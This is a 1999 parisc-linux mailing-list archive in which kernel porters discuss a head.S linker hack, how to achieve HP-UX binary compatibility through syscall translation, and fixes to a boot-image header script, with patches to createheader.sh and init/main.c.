Original-Received: (qmail 19820 invoked by uid 15267); 21 Jun 1999 16:31:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19813 invoked from network); 21 Jun 1999 16:31:54 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 16:31:54 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA02966;
	Mon, 21 Jun 1999 12:32:23 -0400 (EDT)
In-Reply-To: <19990621174231.R30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 21, 99 05:42:31 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9602

A recent change to head.S was made in order to get the kernel to
successfully link.  This change places the kernel entry points
stext and _stext in the 'data' subspace $FLUFFY$.  Aside from the
dubious practice of placing code in the data space, it looks to
me that the change is wrong.

The module init/main.c uses the symbol _stext to determine the
starting address of the kernel text.  Placing the start in the
data region will give a totally erroneous result for the length
of kernel text to profile.  Probably, init/main.c should use
the origin selected for text when linking (currently, 0x8000)
as the start of the kernel text.  Then, the kernel entry points
can be moved back into the standard text space.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hack to head.S
Date: Mon, 21 Jun 1999 13:03:15 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <199906211703.NAA03063@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619659 12206 80.91.229.3 (22 Nov 2014 01:27:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:39 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jun 21 11:03:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA05613
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 11:03:25 -0600
Original-Received: (qmail 26412 invoked by uid 15267); 21 Jun 1999 17:02:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26405 invoked from network); 21 Jun 1999 17:02:46 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 17:02:46 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA03063;
	Mon, 21 Jun 1999 13:03:15 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Jun 21, 99 12:32:22 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9603

> The module init/main.c uses the symbol _stext to determine the
> starting address of the kernel text.  Placing the start in the
> data region will give a totally erroneous result for the length
> of kernel text to profile.  Probably, init/main.c should use
> the origin selected for text when linking (currently, 0x8000)
> as the start of the kernel text.  Then, the kernel entry points
> can be moved back into the standard text space.

It looks like the symbol __text_start can be used by main.c to
determine the start of text when using the HP linker.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Mon, 21 Jun 1999 10:23:17 -0700 (PDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <199906211723.KAA39308@bart.allegro.com>
References: <19990621105017.N30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619660 12207 80.91.229.3 (22 Nov 2014 01:27:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:40 +0000 (UTC)
Cc: law@cygnus.com, Matthew.Wilcox@genedata.com,
        parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: sieler@bart.allegro.com  Mon Jun 21 11:24:24 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA05849
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 11:24:24 -0600
Original-Received: (qmail 30426 invoked by uid 15267); 21 Jun 1999 17:23:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30419 invoked from network); 21 Jun 1999 17:23:16 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 17:23:16 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id KAA39308;
	Mon, 21 Jun 1999 10:23:17 -0700
In-Reply-To: <19990621105017.N30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 21, 99 10:50:17 am
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9604

Hi,

> > Just write translators on the hpux emulation side.
> 
> Yes, this is certainly what we'll do.  But if we can be clever and get a
> bunch of compatibility for free, then we should.

The problem with translators is that they don't work in all cases.

The most important case is where you want to link some .o files
together: some are compiled for Linux, some for HP-UX. 

*That's* why having different system call numbers is important.

-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Mon, 21 Jun 1999 11:48:23 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <14480.929987303@upchuck.cygnus.com>
References: <199906211723.KAA39308@bart.allegro.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619660 12212 80.91.229.3 (22 Nov 2014 01:27:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:40 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com (Matthew Wilcox),
        parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: law@upchuck.cygnus.com  Mon Jun 21 11:53:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA06053
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 11:53:57 -0600
Original-Received: (qmail 4517 invoked by uid 15267); 21 Jun 1999 17:53:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4506 invoked from network); 21 Jun 1999 17:53:17 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 17:53:17 -0000
Original-Received: from upchuck.cygnus.com (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id LAA14483;
	Mon, 21 Jun 1999 11:48:23 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Mon, 21 Jun 1999 10:23:17 PDT.
             <199906211723.KAA39308@bart.allegro.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9605


  In message <199906211723.KAA39308@bart.allegro.com>you write:
  > The problem with translators is that they don't work in all cases.
  > 
  > The most important case is where you want to link some .o files
  > together: some are compiled for Linux, some for HP-UX. 
  > 
  > *That's* why having different system call numbers is important.
You really don't want to do that.  I strongly recommend against it.  In
5 years of working on a system which had hpux compatibility we had zero
need to do this kind of stuff and it just makes things a lot more complicated
than they need to be.

If we wanted to build an hpux app, we had a set of tools to build hpux apps.

jeff


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with createheader.sh script
Date: Mon, 21 Jun 1999 13:56:26 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <199906211756.NAA10393@hiauly1.hia.nrc.ca>
References: <376A9AF9.5F3DB326@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619660 12215 80.91.229.3 (22 Nov 2014 01:27:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jun 21 11:56:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA06198
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 11:56:36 -0600
Original-Received: (qmail 5222 invoked by uid 15267); 21 Jun 1999 17:55:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5188 invoked from network); 21 Jun 1999 17:55:55 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 17:55:55 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA10393;
	Mon, 21 Jun 1999 13:56:27 -0400 (EDT)
In-Reply-To: <376A9AF9.5F3DB326@thepuffingroup.com> from "Alex deVries" at Jun 18, 99 03:16:09 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9606

When creating a LIF image, i get the following errors:

./boot_tools/createheader.sh boot_code/ipl ../../../../vmlinux
./boot_tools/createheader.sh: !: not found
./boot_tools/createheader.sh: !: not found
(standard_in) 1: illegal character: J
(standard_in) 1: parse error
(standard_in) 1: parse error
(standard_in) 1: parse error
(standard_in) 1: illegal character: J
IPL address: 4096       kernel address: 49152
IPL size:  45056 Jun    kernel size:
IPL entry: 4096         kernel entry: 32768
Header created.

I think the problem is lies with the cut command.  The character
position of file sizes in the 'ls -l' command varies.  The hpux
9.01 ls position differs from that of GNU ls.  I think it would
be better to use awk to grab the file size info.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Mon, 21 Jun 1999 11:07:19 -0700 (PDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <199906211807.LAA29277@bart.allegro.com>
References: <14480.929987303@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619660 12218 80.91.229.3 (22 Nov 2014 01:27:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sieler@bart.allegro.com  Mon Jun 21 12:07:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA06403
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 12:07:33 -0600
Original-Received: (qmail 7908 invoked by uid 15267); 21 Jun 1999 18:06:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7894 invoked from network); 21 Jun 1999 18:06:44 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 18:06:44 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id LAA29277
	for parisc-linux@thepuffingroup.com; Mon, 21 Jun 1999 11:07:19 -0700
In-Reply-To: <14480.929987303@upchuck.cygnus.com> from "Jeffrey A Law" at Jun 21, 99 11:48:23 am
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9607

Jeff writes:

>   > The problem with translators is that they don't work in all cases.
>   > 
>   > The most important case is where you want to link some .o files
>   > together: some are compiled for Linux, some for HP-UX. 
>   > 
>   > *That's* why having different system call numbers is important.

> You really don't want to do that.  I strongly recommend against it.  In

(Presuming "that" is "have different system call numbers")

> 5 years of working on a system which had hpux compatibility we had zero
> need to do this kind of stuff and it just makes things a lot more complicated
> than they need to be.

You're "compatible" if you can run an HP-UX app "out of the box" (e.g.,
restore it and run).  If you have to run it through a translator of some kind,
you aren't compatible.   (If the translator is part of the OS, and invoked 
automatically & invisibly, that's ok...been there, used that for 15 years 
on MPE)

So...how do you achieve this level of compatibility?  Simple...the HP-UX
system call numbers *must* be honored.  What does that mean, then, if
Linux has an identically named (not numbered) system call whose
semantics differ?  Precisely one thing: the kernel must be able to
differentiate between them.  There are two basic methods of doing this:

  1) different system call numbers

or 

  2) different gateway page for the system calls (e.g., 0xc0000000 for
     HP-UX, and 0xc0000040 for Linux).  (Note: I don't recall the exact
     digits HP-UX uses...the values above are for illustrative purposes)
     (The kernel could check to see which address had been used for the
     call)

Without such a mechanism, you can't tell the system calls apart.

So, the only unanswered question is: is HP-UX compatibility desired?  
If the answer is "yes", the subsequent question (how) was answered above.

-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Mon, 21 Jun 1999 12:20:14 -0600 (MDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <199906211820.MAA06267@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619661 12219 80.91.229.3 (22 Nov 2014 01:27:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:41 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com, law@cygnus.com,
        parisc-linux@thepuffingroup.com
To: sieler@allegro.com
Original-X-From: mike@fast.cs.utah.edu  Mon Jun 21 12:20:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA06680
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 12:20:32 -0600
Original-Received: (qmail 11074 invoked by uid 15267); 21 Jun 1999 18:19:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11051 invoked from network); 21 Jun 1999 18:19:52 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 18:19:52 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id MAA06267;
	Mon, 21 Jun 1999 12:20:14 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9608

> From: Stan Sieler <sieler@allegro.com>
> Subject: Re: [parisc-linux] HPUX binary compatibility
> To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
> Date: Mon, 21 Jun 1999 10:23:17 -0700 (PDT)
> 
> Hi,
> 
> > > Just write translators on the hpux emulation side.
> > 
> > Yes, this is certainly what we'll do.  But if we can be clever and get a
> > bunch of compatibility for free, then we should.
> 
> The problem with translators is that they don't work in all cases.
> 
> The most important case is where you want to link some .o files
> together: some are compiled for Linux, some for HP-UX. 
> 
> *That's* why having different system call numbers is important.
> 
> -- 
> Stan Sieler                                          sieler@allegro.com
>                                          http://www.allegro.com/sieler/

Yow, that is an ambitious goal!  I can see the desirability of doing it
this way, but I am afraid it may not work.  No example comes to mind but
I worry about subtle assumptions in code written for HP-UX; i.e., merely
defining your structures and constants the same as HP-UX may not be enough.

Like Jeff said, we got by (and still do) by either building such applications
on an HP-UX box or using an emulated HP-UX environment to create real HP-UX
binaries.

Hmm...just read Stan's last message.  There seems to be some confusion about
what we do for compatibility.  When we exec a binary, it is identified as
either being HP-UX or "native" (BSD).  That determines which syscall mapping
is used.  There is no need to have distinct name spaces this way.

Does no other Linux port provide native OS compatibility?


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Mon, 21 Jun 1999 12:23:12 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <14666.929989392@upchuck.cygnus.com>
References: <199906211807.LAA29277@bart.allegro.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619661 12220 80.91.229.3 (22 Nov 2014 01:27:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: law@upchuck.cygnus.com  Mon Jun 21 12:28:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA06851
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 12:28:36 -0600
Original-Received: (qmail 12809 invoked by uid 15267); 21 Jun 1999 18:27:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12796 invoked from network); 21 Jun 1999 18:27:57 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 18:27:57 -0000
Original-Received: from upchuck.cygnus.com (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id MAA14669;
	Mon, 21 Jun 1999 12:23:12 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Mon, 21 Jun 1999 11:07:19 PDT.
             <199906211807.LAA29277@bart.allegro.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9609

  In message <199906211807.LAA29277@bart.allegro.com>you write:
  > > You really don't want to do that.  I strongly recommend against it.  In
  > 
  > (Presuming "that" is "have different system call numbers")
Correct.

  > You're "compatible" if you can run an HP-UX app "out of the box" (e.g.,
  > restore it and run).  If you have to run it through a translator of some ki
  > nd,
  > you aren't compatible.   (If the translator is part of the OS, and invoked 
  > automatically & invisibly, that's ok...been there, used that for 15 years 
  > on MPE)
The translator is entirely in the kernel.  It does not require hacking the
binary in any way shape or form.

  > Without such a mechanism, you can't tell the system calls apart.
Yes you can.  The exec headers have different magic #s  which you can use
to identify hpux vs bsd vs osf vs lites vs linux binaries.

If the process is not a linux process, then you look up the syscall number
in the appropriate translation table.  Similarly for signal #s, errno values,
etc.

I strongly recommend you actually look at the code Utah wrote.  It handles
hpux compatibility well enough to run X servers, compilers, shells, etc etc
right off an hpux distribution tape/cd.

jeff


From - Thu Nov 08 21:15:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with createheader.sh script
Date: Mon, 21 Jun 1999 14:35:16 -0400 (EDT)
Lines: 99
Approved: news@gmane.org
Message-ID: <199906211835.OAA14539@hiauly1.hia.nrc.ca>
References: <199906211756.NAA10393@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619661 12221 80.91.229.3 (22 Nov 2014 01:27:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:41 +0000 (UTC)
Cc: adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jun 21 12:35:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA07017
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 12:35:20 -0600
Original-Received: (qmail 14346 invoked by uid 15267); 21 Jun 1999 18:34:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14335 invoked from network); 21 Jun 1999 18:34:41 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 18:34:41 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA14539;
	Mon, 21 Jun 1999 14:35:17 -0400 (EDT)
In-Reply-To: <199906211756.NAA10393@hiauly1.hia.nrc.ca> from "John David Anglin" at Jun 21, 99 01:56:26 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9610

> 
> When creating a LIF image, i get the following errors:
> 
> ./boot_tools/createheader.sh boot_code/ipl ../../../../vmlinux
> ./boot_tools/createheader.sh: !: not found
> ./boot_tools/createheader.sh: !: not found
> (standard_in) 1: illegal character: J
> (standard_in) 1: parse error
> (standard_in) 1: parse error
> (standard_in) 1: parse error
> (standard_in) 1: illegal character: J
> IPL address: 4096       kernel address: 49152
> IPL size:  45056 Jun    kernel size:
> IPL entry: 4096         kernel entry: 32768
> Header created.

Here is a patch which fixes the above problems.  Note--there are still
issues related to the kernel parameters which need to be resolved.

I also recommend stripping the kernel after the map is generated to
reduce the size of the Image.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

*** createheader.sh.orig	Fri Jun 18 09:09:53 1999
--- createheader.sh	Mon Jun 21 14:26:19 1999
***************
*** 12,38 ****
  
  if [ $# != 2 ]; then
  	echo "Usage: createheader.sh ipl vmlinux"
  fi
  
! if ! [ -e ${ipl} ]; then
  	echo "Cannot open ${ipl}"
          exit 1
  fi
  
! if ! [ -e ${vmlinux} ]; then
  	echo "Cannot open ${vmlinux}"
          exit 1
  fi
  
  i_addr=4096
  
! if [ $arch = Linux ] ; then
! 	i_size=`ls -l ${ipl} |cut -c 36-42`
! 	k_size_initial=`ls -l ${vmlinux} |cut -c 36-42`
! elif [ $arch = HP-UX ]; then
!         i_size=`ls -l ${ipl} |cut -c 36-45`
! 	k_size_initial=`ls -l ${vmlinux} |cut -c 36-45`
! fi
  
  i_entry=4096
  k_addr=49152
--- 12,34 ----
  
  if [ $# != 2 ]; then
  	echo "Usage: createheader.sh ipl vmlinux"
+         exit 1
  fi
  
! if [ ! -r ${ipl} ]; then
  	echo "Cannot open ${ipl}"
          exit 1
  fi
  
! if [ ! -r ${vmlinux} ]; then
  	echo "Cannot open ${vmlinux}"
          exit 1
  fi
  
  i_addr=4096
  
! i_size=`ls -l ${ipl} |awk '{print $5}'`
! k_size_initial=`ls -l ${vmlinux} |awk '{print $5}'`
  
  i_entry=4096
  k_addr=49152
***************
*** 41,47 ****
  k_entry=32768
  
  echo "IPL address: ${i_addr}\tkernel address: ${k_addr} "
! echo "IPL size: ${i_size}\tkernel size: ${k_size} "
  echo "IPL entry: ${i_entry} \tkernel entry: ${k_entry}"
  ./boot_tools/mklifhdr hdr ${i_addr} ${i_size} ${i_entry} \
     ${k_addr} ${k_size} ${k_entry}
--- 37,43 ----
  k_entry=32768
  
  echo "IPL address: ${i_addr}\tkernel address: ${k_addr} "
! echo "IPL size: ${i_size}\t\tkernel size: ${k_size} "
  echo "IPL entry: ${i_entry} \tkernel entry: ${k_entry}"
  ./boot_tools/mklifhdr hdr ${i_addr} ${i_size} ${i_entry} \
     ${k_addr} ${k_size} ${k_entry}


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hack to head.S
Date: Mon, 21 Jun 1999 15:38:50 -0400 (EDT)
Lines: 70
Approved: news@gmane.org
Message-ID: <199906211938.PAA18558@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619662 12223 80.91.229.3 (22 Nov 2014 01:27:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:42 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jun 21 13:39:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA07426
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 13:39:49 -0600
Original-Received: (qmail 28603 invoked by uid 15267); 21 Jun 1999 19:39:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28590 invoked from network); 21 Jun 1999 19:39:06 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 19:39:06 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA18558;
	Mon, 21 Jun 1999 15:38:50 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Jun 21, 99 01:03:15 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9611

> It looks like the symbol __text_start can be used by main.c to
> determine the start of text when using the HP linker.

Here are two patches which appear to resolve this issue.  I have
tested linking with hpux 9.01.  Somebody needs to check whether
the symbol __text_start is available under 10.X and 11.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

*** init/main.c.orig	Tue Feb 16 16:02:22 1999
--- init/main.c	Mon Jun 21 15:27:00 1999
***************
*** 56,62 ****
  #error sorry, your GCC is too old. It builds incorrect kernels.
  #endif
  
! extern char _stext, _etext;
  extern char *linux_banner;
  
  extern int console_loglevel;
--- 56,63 ----
  #error sorry, your GCC is too old. It builds incorrect kernels.
  #endif
  
! extern char __text_start;
! extern char _etext;
  extern char *linux_banner;
  
  extern int console_loglevel;
***************
*** 1132,1138 ****
  	if (prof_shift) {
  		prof_buffer = (unsigned int *) memory_start;
  		/* only text is profiled */
! 		prof_len = (unsigned long) &_etext - (unsigned long) &_stext;
  		prof_len >>= prof_shift;
  		memory_start += prof_len * sizeof(unsigned int);
  		memset(prof_buffer, 0, prof_len * sizeof(unsigned int));
--- 1133,1139 ----
  	if (prof_shift) {
  		prof_buffer = (unsigned int *) memory_start;
  		/* only text is profiled */
! 		prof_len = (unsigned long) &_etext-(unsigned long)&__text_start;
  		prof_len >>= prof_shift;
  		memory_start += prof_len * sizeof(unsigned int);
  		memset(prof_buffer, 0, prof_len * sizeof(unsigned int));
*** arch/parisc/kernel/head.S.orig	Mon Jun 21 10:38:05 1999
--- arch/parisc/kernel/head.S	Mon Jun 21 13:06:43 1999
***************
*** 32,39 ****
  
  ;	.section .text
  
! 	.space $DATA$
